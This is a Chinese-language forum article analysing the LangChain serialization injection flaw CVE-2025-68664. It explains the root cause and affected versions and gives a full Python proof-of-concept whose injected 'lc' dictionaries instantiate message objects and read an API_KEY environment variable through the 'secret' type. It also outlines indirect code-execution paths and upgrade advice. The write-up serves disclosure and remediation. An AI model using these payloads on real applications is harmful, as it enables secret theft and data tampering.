问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
活动
摸鱼办
搜索
登录
注册
Ai安全漏洞剖析-CVE-2025-68664
漏洞分析
LangChain 是一个用于构建基于ai大语言模型(LLM)应用程序的框架。在受影响版本中,存在序列化注入漏洞。
一、漏洞简介 ------ CVE编号: CVE-2025-68664 漏洞类型: 序列化注入漏洞 (Serialization Injection) CVSS评分: 9.3 (严重) 影响组件: LangChain 框架的 `dumps()` 和 `dumpd()` 函数 漏洞概述: LangChain 是一个用于构建基于ai大语言模型(LLM)应用程序的框架。在受影响版本中,`dumps()` 和 `dumpd()` 函数在序列化自由格式字典时,未对包含 "lc" 键的字典进行适当的转义处理。"lc" 键是 LangChain 内部用于标识序列化对象的特殊标记。当用户控制的数据包含此键结构时,在反序列化过程中可能被错误地识别为合法的 LangChain 对象,而非普通用户数据,从而导致序列化注入漏洞。 二、影响版本 ------ \# 受影响版本 `langchain` >= 1.0.0 且 < 1.2.5 `langchain` < 0.3.81 \### 已修复版本 `langchain` >= 0.3.81 `langchain` >= 1.2.5 三、漏洞原理分析 -------- 3.1 序列化机制分析 3.1.1 `dumps()` 函数实现 \# langchain\_core/load/dump.py  3.1.2 `dumpd()` 函数实现   3.2 反序列化机制分析 3.2.1 `Reviver` 类实现 \# langchain\_core/load/load.py    关键逻辑: 1\. `Reviver.\_\_call\_\_()` 作为 `json.loads()` 的 `object\_hook` 被调用 2\. 对于每个字典,检查是否包含 {"lc": 1} 键 3\. 如果包含,根据 `"type"` 字段进行相应处理 4\. 对于 {"type": "constructor"},会: \- 解析 `"id"` 获取模块路径和类名 \- 动态导入模块 \- 获取类并验证是否为 `Serializable` 子类 \- 使用 `"kwargs"` 实例化对象 3.3 漏洞触发流程 \# 正常流程(预期行为) 用户数据字典 → dumps() → JSON字符串 → loads() → 用户数据字典 \#### 漏洞流程(攻击场景) 恶意字典(包含"lc"键) → dumps() → JSON字符串(保留"lc"键) → loads() → Reviver检查"lc"键 → 误识别为LangChain对象 → 实例化恶意对象 3.4 漏洞根源 核心问题: `dumps()` 和 `dumpd()` 在序列化普通字典时,未对包含 "lc" 键的字典进行转义或标记,导致用户控制的字典在反序列化时被误认为是 LangChain 序列化对象。 具体表现: 1\. 序列化阶段:普通字典中的 "lc" 键被原样保留 2\. 反序列化阶段:`Reviver` 仅通过 {"lc": 1} 判断是否为 LangChain 对象,无法区分用户数据和真实序列化对象 3.5 攻击向量分析 攻击者可以构造如下恶意字典: ```python malicious\_dict = { "lc": 1, "type": "constructor", "id": \["langchain\_core", "messages", "HumanMessage"\], "kwargs": { "content": "恶意内容" } } ``` 当这个字典被 `dumps()` 序列化后,再通过 `loads()` 反序列化时: 1\. `Reviver` 检测到 {"lc": 1} 和 {"type": "constructor"} 2\. 解析 "id" 并导入 `langchain\_core.messages.HumanMessage` 3\. 使用 "kwargs" 实例化 `HumanMessage` 对象 4\. 返回实例化的对象,而非原始字典 \*\*潜在风险\*\*: \- 如果攻击者能够控制 "id" 字段,可能实例化任意 `Serializable` 子类 \- 通过 "kwargs" 可以控制对象初始化参数 \- 如果后续代码对反序列化对象有特殊处理,可进一步导致其他安全问题 四、环境搭建 ------ 4.1 环境要求 \- Python 3.8+ \- pip 4.2 安装受影响版本 \# 安装受影响版本1.x.x(如 1.2.4) pip install langchain==1.2.4 langchain-core==1.2.4 \# 或者安装其他版本 0.3.x(如0.3.80) pip install langchain=0.3.8  4.3 验证安装 import langchain\_core print(langchain\_core.\_\_version\_\_) # 应显示 1.2.4 或 0.3.80  五、漏洞复现 ------ 5.1 编写脚本 `` !/usr/bin/env python3 ===================== """ CVE-2025-68664 漏洞复现脚本 演示序列化注入漏洞 """ from langchain\_core.load import dumps, dumpd, loads, load def test\_vulnerability(): """测试漏洞:用户控制的字典被误识别为LangChain对象""" print("\[\*\] 测试1: 基础漏洞复现") print("=" \* 60) # 构造恶意字典,模拟用户输入 user\_controlled\_dict = { "user\_data": "正常用户数据", "malicious": { "lc": 1, "type": "constructor", "id": \["langchain\_core", "messages", "HumanMessage"\], "kwargs": { "content": "这是一个被注入的HumanMessage对象" } } } print("\[+\] 原始用户数据:") print(f" 类型: {type(user\_controlled\_dict)}") print(f" 内容: {user\_controlled\_dict}") print() # 序列化 print("\[+\] 使用 dumps() 序列化...") serialized = dumps(user\_controlled\_dict) print(f" 序列化结果: {serialized\[:200\]}...") print() # 反序列化 print("\[+\] 使用 loads() 反序列化...") deserialized = loads(serialized) print(f" 反序列化后类型: {type(deserialized)}") print(f" 反序列化后内容: {deserialized}") print() # 关键检查:malicious 字段应该还是字典,但实际变成了对象 if "malicious" in deserialized: malicious\_value = deserialized\["malicious"\] print(f"\[!\] malicious 字段类型: {type(malicious\_value)}") print(f"\[!\] malicious 字段值: {malicious\_value}") # 验证是否被误识别为LangChain对象 from langchain\_core.messages import HumanMessage if isinstance(malicious\_value, HumanMessage): print("\[!\] 漏洞确认: 用户数据被误识别为 HumanMessage 对象!") print(f"\[!\] 对象内容: {malicious\_value.content}") else: print("\[?\] 未检测到对象实例化") print() def test\_dumpd\_vulnerability(): """测试 dumpd() 函数的漏洞""" print("\[\*\] 测试2: dumpd() 函数漏洞复现") print("=" \* 60) # 构造恶意字典 malicious\_dict = { "lc": 1, "type": "constructor", "id": \["langchain\_core", "messages", "AIMessage"\], "kwargs": { "content": "注入的AIMessage" } } print("\[+\] 原始字典:") print(f" 类型: {type(malicious\_dict)}") print(f" 内容: {malicious\_dict}") print() # 使用 dumpd() 序列化 print("\[+\] 使用 dumpd() 序列化...") dumped = dumpd(malicious\_dict) print(f" 类型: {type(dumped)}") print(f" 内容: {dumped}") print() # 使用 load() 反序列化 print("\[+\] 使用 load() 反序列化...") loaded = load(dumped) print(f" 类型: {type(loaded)}") print(f" 内容: {loaded}") # 验证 from langchain\_core.messages import AIMessage if isinstance(loaded, AIMessage): print("\[!\] 漏洞确认: dumpd() + load() 组合存在漏洞!") print(f"\[!\] 对象内容: {loaded.content}") print() def test\_nested\_injection(): """测试嵌套注入场景""" print("\[\*\] 测试3: 嵌套字典注入") print("=" \* 60) # 嵌套结构中的注入 nested\_data = { "level1": { "level2": { "level3": { "lc": 1, "type": "constructor", "id": \["langchain\_core", "messages", "SystemMessage"\], "kwargs": { "content": "嵌套注入的SystemMessage" } } } } } print("\[+\] 嵌套恶意数据:") print(f" 内容: {nested\_data}") print() serialized = dumps(nested\_data) deserialized = loads(serialized) print("\[+\] 反序列化后:") print(f" level3 类型: {type(deserialized\['level1'\]\['level2'\]\['level3'\])}") print(f" level3 值: {deserialized\['level1'\]\['level2'\]\['level3'\]}") from langchain\_core.messages import SystemMessage if isinstance(deserialized\['level1'\]\['level2'\]\['level3'\], SystemMessage): print("\[!\] 嵌套注入成功!") print() def test\_secret\_injection(): """测试 secret 类型注入""" print("\[\*\] 测试4: Secret 类型注入") print("=" \* 60) # 构造 secret 类型的注入 secret\_injection = { "lc": 1, "type": "secret", "id": \["API\_KEY"\] } print("\[+\] Secret 注入数据:") print(f" 内容: {secret\_injection}") print() serialized = dumps(secret\_injection) deserialized = loads(serialized) print("\[+\] 反序列化后:") print(f" 类型: {type(deserialized)}") print(f" 值: {deserialized}") print(f" 说明: 如果环境变量 API\_KEY 存在,将返回其值") print() if \_\_name\_\_ == "\_\_main\_\_": print("=" \* 60) print("CVE-2025-68664 LangChain 序列化注入漏洞复现") print("=" \* 60) print() try: test\_vulnerability() test\_dumpd\_vulnerability() test\_nested\_injection() test\_secret\_injection() print("=" \* 60) print("\[+\] 所有测试完成") print("=" \* 60) except Exception as e: print(f"\[!\] 错误: {e}") import traceback traceback.print\_exc() `` 5.2 poc演示  5.3 实战场景分析 1.直接 RCE的可能性不高,多重安全限制: - 只能实例化白名单命名空间中的类(如 langchain\_core、langchain\_community 等) - 只能实例化 Serializable 的子类 - 只能通过 kwargs 传递参数(JSON 可序列化) - 部分命名空间禁止路径加载 2. 可能的RCE方法(间接) 路径 1:通过工具类(如 ShellTool、BashTool) 如果 langchain\_community 中存在可执行命令的工具类 且应用在反序列化后调用了 run() 或 invoke() 方法 则可能实现 RCE 路径 2:通过链式调用 反序列化后的对象被后续代码调用 调用了危险方法 3.目前来看主要风险如下: 数据篡改:改变数据结构,导致应用逻辑错误 类型混淆:注入对象而非字典,导致类型错误 信息泄露:通过 secret 类型读取环境变量 间接 RCE:如果应用对反序列化对象有不当使用 六、总结 6.1 漏洞总结 CVE-2025-68664 是一个典型的序列化注入漏洞,其核心问题在于: 1\. 序列化阶段缺乏验证: `dumps()` 和 `dumpd()` 函数在序列化普通字典时,未对包含 "lc" 键的字典进行转义或标记,导致用户控制的特殊键结构被原样保留。 2\. 反序列化阶段过度信任: `Reviver` 类仅通过检查 {"lc": 1} 键来判断是否为 LangChain 序列化对象,无法区分用户数据和真实的序列化对象。 3\. 设计缺陷: LangChain 使用特殊键 "lc" 来标识序列化对象,但这个键本身是普通的字典键,没有机制防止用户数据使用相同的键结构。 6.2 修复建议 6.2.1 立即修复措施 1\. 升级到安全版本: bash pip install --upgrade langchain>=1.2.5 或 pip install --upgrade langchain>=0.3.81 2\. 代码审查: 检查项目中所有使用 `dumps()`、`dumpd()`、`loads()`、`load()` 的地方,确保: \- 不要对不可信输入使用这些函数 \- 如果必须处理用户数据,先进行验证和清理 6.3 以上分析过程仅代表个人观点,如有遗漏还请指教,谢谢!
发表于 2026-01-23 09:00:02
阅读 ( 232 )
分类:
AI 人工智能
0 推荐
收藏
0 条评论
请先
登录
后评论
逍遥~
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!